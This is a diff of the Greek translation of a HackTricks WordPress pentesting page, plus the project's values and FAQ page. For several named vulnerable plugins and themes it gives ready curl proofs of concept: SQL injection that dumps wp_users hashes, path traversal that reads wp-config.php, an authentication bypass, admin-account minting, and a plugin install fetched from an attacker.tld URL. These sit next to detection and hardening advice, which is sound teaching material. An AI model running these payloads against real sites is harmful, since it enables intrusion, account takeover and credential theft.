1. **Μη εξουδετερωμένη είσοδος χρήστη** `parentid` προέρχεται απευθείας από το αίτημα HTTP.
2. **Συνένωση συμβολοσειρών μέσα στο WHERE clause** δεν υπάρχει `is_numeric()` / `esc_sql()` / prepared statement.
3. **Προσβασιμότητα χωρίς έλεγχο ταυτότητας** παρόλο που η ενέργεια εκτελείται μέσω του `admin-post.php`, ο μοναδικός έλεγχος είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`.
#### Εκμετάλλευση
1. Πάρε ένα καινούργιο nonce:
1. Πάρε ένα νέο nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Εισάγετε arbitrary SQL εκμεταλλευόμενοι το `parentid`:
2. Κατάχρηση του `parentid` για εισαγωγή αυθαίρετου SQL:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -679,20 +628,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Η απάντηση αποκαλύπτει το αποτέλεσμα του εγχυμένου query ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi.
Η απάντηση αποκαλύπτει το αποτέλεσμα του εγχεόμενου query ή αλλάζει τη βάση δεδομένων, αποδεικνύοντας SQLi.
### Μη αυθεντικοποιημένη Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
### Μη πιστοποιημένη Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Μια άλλη εργασία, **downloadcustomfile**, επέτρεπε σε επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στο δίσκο** μέσω path traversal. Ο ευάλωτος sink βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`:
Άλλη λειτουργία, **downloadcustomfile**, επέτρεπε στους επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στο δίσκο** μέσω path traversal. Ο ευάλωτος sink βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` είναι attacker-controlled και ενώνεται **without sanitisation**. Πάλι, το μόνο εμπόδιο είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα resume.
`$file_name` είναι attacker-controlled και συγχωνεύεται **without sanitisation**. Ξανά, το μόνο εμπόδιο είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα βιογραφικού.
#### Exploitation
#### Εκμετάλλευση
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -701,7 +650,198 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Ο διακομιστής επιστρέφει τα περιεχόμενα του `wp-config.php`, leaking DB credentials και auth keys.
Ο διακομιστής αποκρίνεται με τα περιεχόμενα του `wp-config.php`, leaking DB credentials and auth keys.
## Ανώνυμη ανάληψη λογαριασμού μέσω Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Πολλά themes/plugins παρέχουν "social login" helpers εκτεθειμένους μέσω admin-ajax.php. Αν μια μη-επαληθευμένη AJAX ενέργεια (wp_ajax_nopriv_...) εμπιστεύεται client-supplied identifiers όταν τα δεδομένα του provider λείπουν και στη συνέχεια καλεί wp_set_auth_cookie(), αυτό μετατρέπεται σε πλήρη authentication bypass.
Τυπικό ελαττωματικό μοτίβο (απλοποιημένο)
```php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
```
Γιατί είναι εκμεταλλεύσιμο
- Προσβάσιμο χωρίς έλεγχο ταυτότητας μέσω admin-ajax.php (wp_ajax_nopriv_… action).
- Δεν υπάρχουν έλεγχοι nonce/capability πριν από αλλαγή κατάστασης.
- Έλλειψη επαλήθευσης OAuth/OpenID provider· το default branch αποδέχεται είσοδο του επιτιθέμενου.
- get_user_by('email', $_POST['id']) ακολουθούμενο από wp_set_auth_cookie($uid) αυθεντικοποιεί τον αιτούντα ως οποιαδήποτε υπάρχουσα διεύθυνση email.
Εκμετάλλευση (χωρίς πιστοποίηση)
- Προαπαιτούμενα: ο επιτιθέμενος μπορεί να προσπελάσει /wp-admin/admin-ajax.php και γνωρίζει/μαντεύει μια έγκυρη διεύθυνση email χρήστη.
- Ορίστε τον provider σε μια μη υποστηριζόμενη τιμή (ή παραλείψτε τον) για να ενεργοποιηθεί το default branch και να περάσετε id=<victim_email>.
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
```
```bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
```
Αναμενόμενοι δείκτες επιτυχίας
- HTTP 200 με JSON σώμα όπως {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* για τον χρήστη-θύμα· οι επακόλουθες αιτήσεις είναι αυθεντικοποιημένες.
Εύρεση του ονόματος της ενέργειας
- Ελέγξτε το theme/plugin για καταχωρίσεις add_action('wp_ajax_nopriv_...', '...') στον κώδικα social login (π.χ., framework/add-ons/social-login/class-social-login.php).
- Χρησιμοποιήστε grep για wp_set_auth_cookie(), get_user_by('email', ...) μέσα σε χειριστές AJAX.
Λίστα ελέγχου ανίχνευσης
- Web logs που δείχνουν μη-αυθεντικοποιημένα POSTs προς /wp-admin/admin-ajax.php με το action social-login και id=<email>.
- Απαντήσεις 200 με το success JSON αμέσως πριν από αυθεντικοποιημένη κίνηση από την ίδια IP/User-Agent.
Σκληροποίηση
- Μην προκύπτει η ταυτότητα από είσοδο του client. Αποδεχτείτε μόνο emails/IDs που προέρχονται από επικυρωμένο provider token/ID.
- Απαιτήστε CSRF nonces και ελέγχους δυνατοτήτων (capability checks) ακόμη και για login helpers· αποφύγετε την εγγραφή wp_ajax_nopriv_ εκτός αν είναι απολύτως αναγκαίο.
- Επικυρώστε και επαληθεύστε server-side τις απαντήσεις OAuth/OIDC· απορρίψτε απουσία/μη έγκυρους providers (μην κάνετε fallback σε POST id).
- Σκεφτείτε προσωρινή απενεργοποίηση του social login ή virtual patching στο edge (block the vulnerable action) μέχρι να διορθωθεί.
Patched behaviour (Jobmonster 4.8.0)
- Αφαιρέθηκε το μη ασφαλές fallback από $_POST['id']; $user_email πρέπει να προέρχεται από verified provider branches στο switch($_POST['using']).
## Μη αυθεντικοποιημένη κλιμάκωση προνομίων μέσω REST token/key minting σε προβλέψιμη ταυτότητα (OttoKit/SureTriggers ≤ 1.0.82)
Ορισμένα plugins εκθέτουν REST endpoints που δημιουργούν επαναχρησιμοποιήσιμα “connection keys” ή tokens χωρίς να επαληθεύουν τις δυνατότητες (capabilities) του καλούντος. Αν η διαδρομή (route) αυθεντικοποιεί μόνο με ένα προβλέψιμο χαρακτηριστικό (π.χ., username) και δεν δένει το key σε χρήστη/σέσσιο με ελέγχους δυνατοτήτων, οποιοσδήποτε μη-αυθεντικοποιημένος επιτιθέμενος μπορεί να δημιουργήσει ένα key και να καλέσει προνομιούχες ενέργειες (δημιουργία admin account, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC mint a connection key and use it
```bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Γιατί είναι εκμεταλλεύσιμο
- Ευαίσθητη REST route προστατευμένη μόνο από απόδειξη ταυτότητας χαμηλής εντροπίας (username) ή χωρίς permission_callback
- Καμία επιβολή capability; το minted key γίνεται αποδεκτό ως καθολική παράκαμψη
Λίστα ελέγχου εντοπισμού
- Ψάξτε στον κώδικα του plugin για register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Οποιαδήποτε route που εκδίδει tokens/keys βάσει ταυτότητας που παρέχεται στο request (username/email) χωρίς να τη συνδέει με επικυρωμένο χρήστη ή capability
- Αναζητήστε μετέπειτα routes που αποδέχονται το minted token/key χωρίς ελέγχους capability στην πλευρά του server
Σκληρυνση
- Για κάθε privileged REST route: απαιτήστε permission_callback που επιβάλλει current_user_can() για την απαιτούμενη capability
- Μην εκδίδετε long-lived keys από ταυτότητα που παρέχει ο client; αν χρειάζεται, εκδώστε short-lived, user-bound tokens μετά από authentication και επανελέγχετε τις capabilities κατά τη χρήση
- Επικυρώστε το user context του καλούντος (wp_set_current_user είναι από μόνο του ανεπαρκές) και απορρίψτε αιτήματα όπου !is_user_logged_in() || !current_user_can(<cap>)
---
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Τα Nonces αποτρέπουν CSRF, όχι την εξουσιοδότηση. Αν ο κώδικας θεωρεί την επιβεβαίωση ενός nonce ως πράσινο φως και παρακάμπτει τους ελέγχους capability για προνομιούχες ενέργειες (π.χ. install/activate plugins), μη αυθεντικοποιημένοι επιτιθέμενοι μπορούν να ικανοποιήσουν μια αδύναμη απαίτηση nonce και να φτάσουν σε RCE εγκαθιστώντας ένα backdoored ή ευάλωτο plugin.
- Ευάλωτο μονοπάτι: plugin/install_and_activate
- Σφάλμα: ασθενής έλεγχος nonce hash; δεν υπάρχει current_user_can('install_plugins'|'activate_plugins') μόλις το nonce “περάσει”
- Επίπτωση: πλήρης παραβίαση μέσω αυθαίρετης εγκατάστασης/ενεργοποίησης plugin
PoC (το σχήμα εξαρτάται από το plugin; ενδεικτικό μόνο)
```bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
---
## SQLi χωρίς αυθεντικοποίηση μέσω της παραμέτρου s (search) σε depicter-* actions (Depicter Slider ≤ 3.6.1)
Πολλές depicter-* actions κατανάλωσαν την παράμετρο s (search) και τη συνέδεσαν σε ερωτήματα SQL χωρίς παραμετροποίηση.
- Παράμετρος: s (search)
- Ελάττωμα: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Επίπτωση: database exfiltration (users, hashes), lateral movement
PoC
```bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Detection checklist
- Ψάξτε με grep για depicter-* action handlers και για την άμεση χρήση των $_GET['s'] ή $_POST['s'] σε SQL
- Ελέγξτε custom queries που δίνονται στο $wpdb->get_results()/query() όταν γίνεται concatenation με s
Hardening
- Χρησιμοποιείτε πάντα $wpdb->prepare() ή wpdb placeholders· απορρίψτε μη αναμενόμενους μεταχαρακτήρες στην πλευρά του server
- Προσθέστε αυστηρή allowlist για το s και κανονικοποιήστε στο αναμενόμενο charset/μήκος
---
## Unauthenticated Local File Inclusion μέσω μη-επαληθευμένου template/file path (Kubio AI Page Builder ≤ 2.5.1)
Η αποδοχή paths ελεγχόμενων από attacker σε παράμετρο template χωρίς κανονικοποίηση/περιορισμό επιτρέπει την ανάγνωση αυθαίρετων τοπικών αρχείων, και μερικές φορές εκτέλεση κώδικα αν includable PHP/log αρχεία φορτωθούν στο runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: no normalization/allowlisting; traversal permitted
- Impact: αποκάλυψη μυστικών (wp-config.php), πιθανό RCE σε συγκεκριμένα περιβάλλοντα (log poisoning, includable PHP)
PoC ανάγνωση wp-config.php
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Λίστα ελέγχου ανίχνευσης
- Οποιοσδήποτε handler που συνενώνει request paths σε include()/require()/read sinks χωρίς περιορισμό μέσω realpath()
- Αναζητήστε μοτίβα traversal (../) που φτάνουν έξω από τον προοριζόμενο φάκελο templates
Σκληροποίηση
- Επιβάλετε allowlisted templates; επιλύστε με realpath() και απαιτήστε str_starts_with(realpath(file), realpath(allowed_base))
- Κανονικοποιήστε τα εισερχόμενα· απορρίψτε ακολουθίες traversal και απόλυτες διαδρομές· χρησιμοποιήστε sanitize_file_name() μόνο για ονόματα αρχείων (όχι για πλήρεις διαδρομές)
## Αναφορές
@ -714,5 +854,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
- [Q3 2025s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
- [OttoKit (SureTriggers) ≤ 1.0.82 Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
- [FunnelKit Automations ≤ 3.5.3 Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
- [Depicter Slider ≤ 3.6.1 Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
- [Kubio AI Page Builder ≤ 2.5.1 Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,20 +2,20 @@
{{#include ../banners/hacktricks-training.md}}
## HackTricks Values
## Αξίες του HackTricks
> [!TIP]
> Αυτές είναι οι **αξίες του έργου HackTricks**:
>
> - Να παρέχει **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚΟ hacking** πόρους σε **ΟΛΟ** το Διαδίκτυο.
> - Το hacking έχει να κάνει με τη μάθηση, και η μάθηση πρέπει να είναι όσο το δυνατόν πιο δωρεάν.
> - Ο σκοπός αυτού του βιβλίου είναι να λειτουργήσει ως μια ολοκληρωμένη **εκπαιδευτική πηγή**.
> - **ΑΠΟΘΗΚΕΥΣΗ** φοβερών τεχνικών **hacking** που δημοσιεύει η κοινότητα δίνοντας στους **ΑΡΧΙΚΟΥΣ** **ΣΥΓΓΡΑΦΕΙΣ** όλα τα **credits**.
> - **Δεν θέλουμε την αναγνώριση από άλλους ανθρώπους**, απλώς θέλουμε να αποθηκεύσουμε ωραία κόλπα για όλους.
> - Επίσης γράφουμε **τις δικές μας έρευνες** στο HackTricks.
> - Σε αρκετές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια περίληψη των σημαντικών σημείων** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφθεί το αρχικό άρθρο** για περισσότερες λεπτομέρειες.
> - **ΟΡΓΑΝΩΣΗ** όλων των τεχνικών hacking στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΒΑΣΙΜΟ**
> - Η ομάδα HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να μπορούν να **μαθαίνουν πιο γρήγορα**
> - Παρέχουμε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚΟΥΣ hacking** πόρους σε **ΟΛΟ** το Διαδίκτυο.
> - Το hacking αφορά τη μάθηση, και η μάθηση θα πρέπει να είναι όσο το δυνατόν πιο δωρεάν.
> - Ο σκοπός αυτού του βιβλίου είναι να λειτουργεί ως ένας ολοκληρωμένος **εκπαιδευτικός πόρος**.
> - **ΑΠΟΘΗΚΕΥΟΥΜΕ** εκπληκτικές τεχνικές **hacking** που δημοσιεύει η κοινότητα, δίνοντας στους **ΑΡΧΙΚΟΥΣ ΣΥΓΓΡΑΦΕΙΣ** όλη την αναγνώριση.
> - **Δεν θέλουμε την αναγνώριση από άλλους**, θέλουμε απλώς να αποθηκεύουμε ωραία κόλπα για όλους.
> - Επίσης γράφουμε τις **δικές μας έρευνες** στο HackTricks.
> - Σε αρκετές περιπτώσεις θα γράψουμε στο HackTricks μόνο μια **σύνοψη των σημαντικών σημείων** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφτεί το αρχικό άρθρο** για περισσότερες λεπτομέρειες.
> - **ΟΡΓΑΝΩΝΟΥΜΕ** όλες τις τεχνικές **hacking** στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΒΑΣΙΜΟ**
> - Η ομάδα HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να **μαθαίνουν πιο γρήγορα**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -23,35 +23,35 @@
> [!TIP]
>
> - **Thank you so much for these resources, how can I thank you?**
> - **Σας ευχαριστούμε πολύ για αυτούς τους πόρους, πώς μπορώ να σας ευχαριστήσω;**
Μπορείτε να ευχαριστήσετε δημόσια τις ομάδες HackTricks για τη συγκέντρωση όλων αυτών των πόρων δημοσιεύοντας ένα tweet αναφέροντας [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Αν είστε ιδιαίτερα ευγνώμονες μπορείτε επίσης να [**χορηγήσετε το project εδώ**](https://github.com/sponsors/carlospolop).\
Και μην ξεχάσετε να **δώσετε ένα star στα έργα του Github!** (Βρείτε τους συνδέσμους παρακάτω).
Μπορείτε να ευχαριστήσετε δημόσια τις ομάδες HackTricks για τη συγκέντρωση όλων αυτών των πόρων με ένα tweet αναφέροντας [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Αν είστε ιδιαίτερα ευγνώμονες μπορείτε επίσης να [**υποστηρίξετε το project εδώ**](https://github.com/sponsors/carlospolop).\
Και μην ξεχάσετε να **δώσετε ένα αστέρι στα projects του Github!** (Βρείτε τους συνδέσμους παρακάτω).
> [!TIP]
>
> - **How can I contribute to the project?**
> - **Πώς μπορώ να συμβάλλω στο έργο;**
Μπορείτε να **μοιραστείτε νέες συμβουλές και κόλπα με την κοινότητα ή να διορθώσετε σφάλματα** που βρίσκετε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες του Github:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
Μην ξεχάσετε να **δώσετε ένα star στα έργα του Github!**
Μην ξεχάσετε να **δώσετε ένα αστέρι στα projects του Github!**
> [!TIP]
>
> - **Can I copy some content from HackTricks and put it in my blog?**
> - **Μπορώ να αντιγράψω περιεχόμενο από το HackTricks και να το βάλω στο blog μου;**
Ναι, μπορείτε, αλλά **μην ξεχάσετε να αναφέρετε τον/τους συγκεκριμένο(ύς) σύνδεσμο(ους)** από όπου ελήφθη το περιεχόμενο.
Ναι, μπορείτε, αλλά **μην ξεχάσετε να αναφέρετε τον/τους συγκεκριμένο(ούς) σύνδεσμο(ους)** από όπου ελήφθη το περιεχόμενο.
> [!TIP]
>
> - **How can I reference a page of HackTricks?**
> - **Πώς μπορώ να παραπέμψω σε μια σελίδα του HackTricks;**
Εφόσον εμφανίζεται ο σύνδεσμος της σελίδας/των σελίδων από όπου πήρατε την πληροφορία, αυτό είναι αρκετό.\
Εάν χρειάζεστε ένα bibtex μπορείτε να χρησιμοποιήσετε κάτι σαν:
Εφόσον εμφανίζεται ο σύνδεσμος της σελίδας/των σελίδων από όπου πήρατε τις πληροφορίες, αυτό είναι αρκετό.\
Εάν χρειάζεστε bibtex μπορείτε να χρησιμοποιήσετε κάτι σαν:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -63,81 +63,81 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
> [!WARNING]
>
> - **Μπορώ να αντιγράψω όλα τα HackTricks στο blog μου;**
>
> **Καλύτερα να μην το κάνετε**. Αυτό **δεν πρόκειται να ωφελήσει κανέναν** καθώς όλο το **περιεχόμενο είναι ήδη διαθέσιμο δημόσια** στα επίσημα βιβλία HackTricks δωρεάν.
>
> Αν φοβάστε ότι θα εξαφανιστεί, απλώς κάντε fork στο Github ή κατεβάστε το — όπως είπα, είναι ήδη δωρεάν.
>
**Καλύτερα να μην το κάνετε**. Αυτό **δεν πρόκειται να ωφελήσει κανέναν** καθώς όλο το **περιεχόμενο είναι ήδη δημόσια διαθέσιμο** στα επίσημα βιβλία HackTricks δωρεάν.
Αν φοβάστε ότι θα εξαφανιστεί, απλώς κάντε fork στο Github ή κατεβάστε το — όπως είπα, είναι ήδη δωρεάν.
> [!WARNING]
>
> - **Γιατί έχετε χορηγούς; Είναι τα HackTricks βιβλία για εμπορικούς σκοπούς;**
>
> Η πρώτη **HackTricks** **αξία** είναι να προσφέρει **FREE** εκπαιδευτικούς πόρους για το hacking σε **ΟΛΟ** τον κόσμο. Η ομάδα του HackTricks έχει **αφιερώσει χιλιάδες ώρες** για να προσφέρει αυτό το περιεχόμενο, ξανά, **ΔΩΡΕΑΝ**.
>
> Αν νομίζετε ότι τα βιβλία HackTricks έχουν δημιουργηθεί για **εμπορικούς σκοπούς**, είστε **ΣΥΝΤΟΜΑ ΛΑΘΟΣ**.
>
> Έχουμε χορηγούς επειδή, ακόμα κι αν όλο το περιεχόμενο είναι ΔΩΡΕΑΝ, θέλουμε να **δώσουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμεί. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στο HackTricks μέσω των [**Github sponsors**](https://github.com/sponsors/carlospolop), καθώς και σε **σχετικές εταιρείες cybersecurity** να χορηγήσουν το HackTricks και να **έχουν κάποιες διαφημίσεις** στο βιβλίο, με τις **διαφημίσεις** πάντα τοποθετημένες σε σημεία όπου είναι **ορατές** αλλά **δεν ενοχλούν** τη μαθησιακή διαδικασία αν κάποιος εστιάσει στο περιεχόμενο.
>
> Δεν θα βρείτε το HackTricks γεμάτο ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από το HackTricks, γιατί το HackTricks δεν είναι φτιαγμένο για εμπορικούς σκοπούς.
>
> - **Γιατί έχετε χορηγούς; Είναι τα βιβλία HackTricks για εμπορικούς σκοπούς;**
Η πρώτη **αξία** των **HackTricks** είναι να προσφέρει **ΔΩΡΕΑΝ** εκπαιδευτικούς πόρους hacking σε **ΟΛΟ** τον κόσμο. Η ομάδα HackTricks έχει **αφιερώσει χιλιάδες ώρες** για να προσφέρει αυτό το περιεχόμενο, ξανά, **ΔΩΡΕΑΝ**.
Αν νομίζετε ότι τα βιβλία HackTricks είναι φτιαγμένα για **εμπορικούς σκοπούς**, είστε **ΑΠΟΛΥΤΩΣ ΛΑΘΟΣ**.
Έχουμε χορηγούς επειδή, ακόμα κι αν όλο το περιεχόμενο είναι ΔΩΡΕΑΝ, θέλουμε να **δώσουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμεί. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στο HackTricks μέσω [**Github sponsors**](https://github.com/sponsors/carlospolop), και σε **σχετικές εταιρείες κυβερνοασφάλειας** να χορηγήσουν το HackTricks και να **έχουμε μερικές διαφημίσεις** στο βιβλίο, με τις **διαφημίσεις** πάντα τοποθετημένες σε μέρη όπου γίνονται **ορατές** αλλά **δεν διαταράσσουν τη διαδικασία μάθησης** αν κάποιος επικεντρωθεί στο περιεχόμενο.
Δεν θα βρείτε το HackTricks γεμάτο με ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από το HackTricks, επειδή το HackTricks δεν έχει φτιαχτεί για εμπορικούς σκοπούς.
> [!CAUTION]
>
> - **Τι πρέπει να κάνω αν κάποια σελίδα του HackTricks βασίζεται σε δημοσίευσή μου αλλά δεν αναφέρεται η πηγή;**
>
> **Λυπούμαστε πολύ. Αυτό δεν θα έπρεπε να είχε συμβεί**. Παρακαλώ ενημερώστε μας μέσω Github issues, Twitter, Discord... δώστε το link της σελίδας HackTricks με το περιεχόμενο και το link του blog σας και **θα το ελέγξουμε και θα το προσθέσουμε το συντομότερο δυνατό**.
>
> - **Τι πρέπει να κάνω αν κάποια σελίδα του HackTricks βασίζεται σε ανάρτηση του blog μου αλλά δεν αναφέρεται;**
**Συγγνώμη. Αυτό δεν έπρεπε να έχει συμβεί**. Παρακαλούμε ενημερώστε μας μέσω Github issues, Twitter, Discord... το σύνδεσμο της σελίδας HackTricks με το περιεχόμενο και το σύνδεσμο του blog σας και **θα το ελέγξουμε και θα το προσθέσουμε το συντομότερο δυνατόν (ASAP)**.
> [!CAUTION]
>
> - **Τι πρέπει να κάνω αν υπάρχει περιεχόμενο από το blog μου στο HackTricks και δεν θέλω να είναι εκεί;**
>
> Σημειώστε ότι η ύπαρξη συνδέσμων προς τη σελίδα σας στο HackTricks:
>
> - Βελτιώνει το **SEO**
> - Το περιεχόμενο **μεταφράζεται σε πάνω από 15 γλώσσες**, καθιστώντας το προσβάσιμο σε περισσότερους ανθρώπους
> - Το **HackTricks ενθαρρύνει** τους ανθρώπους να **ελέγξουν τη σελίδα σας** (πολλοί μας έχουν αναφέρει ότι από τότε που κάποια σελίδα τους βρίσκεται στο HackTricks λαμβάνουν περισσότερες επισκέψεις)
>
> Ωστόσο, αν εξακολουθείτε να θέλετε το περιεχόμενο του blog σας να αφαιρεθεί από το HackTricks, απλώς ενημερώστε μας και θα **αφαιρέσουμε κάθε σύνδεσμο προς το blog σας**, και οποιοδήποτε περιεχόμενο βασίζεται σε αυτό.
>
> - **Τι πρέπει να κάνω αν υπάρχει περιεχόμενο από το blog μου στο HackTricks και δεν το θέλω εκεί;**
Σημειώστε ότι το να υπάρχουν σύνδεσμοι προς τη σελίδα σας στο HackTricks:
- Βελτιώνει το **SEO**
- Το περιεχόμενο **μεταφράζεται σε πάνω από 15 γλώσσες**, κάνοντας δυνατό για περισσότερους ανθρώπους να έχουν πρόσβαση σε αυτό το περιεχόμενο
- Το **HackTricks ενθαρρύνει** τους ανθρώπους να **επισκεφθούν τη σελίδα σας** (πολλοί άνθρωποι μας έχουν αναφέρει ότι από τη στιγμή που κάποια σελίδα τους είναι στο HackTricks λαμβάνουν περισσότερες επισκέψεις)
Ωστόσο, αν εξακολουθείτε να θέλετε το περιεχόμενο του blog σας να αφαιρεθεί από το HackTricks, απλά ενημερώστε μας και θα **αφαιρέσουμε οπωσδήποτε κάθε σύνδεσμο προς το blog σας**, και οποιοδήποτε περιεχόμενο βασίζεται σε αυτό.
> [!CAUTION]
>
> - **Τι πρέπει να κάνω αν βρω αντιγραμμένο περιεχόμενο στο HackTricks;**
>
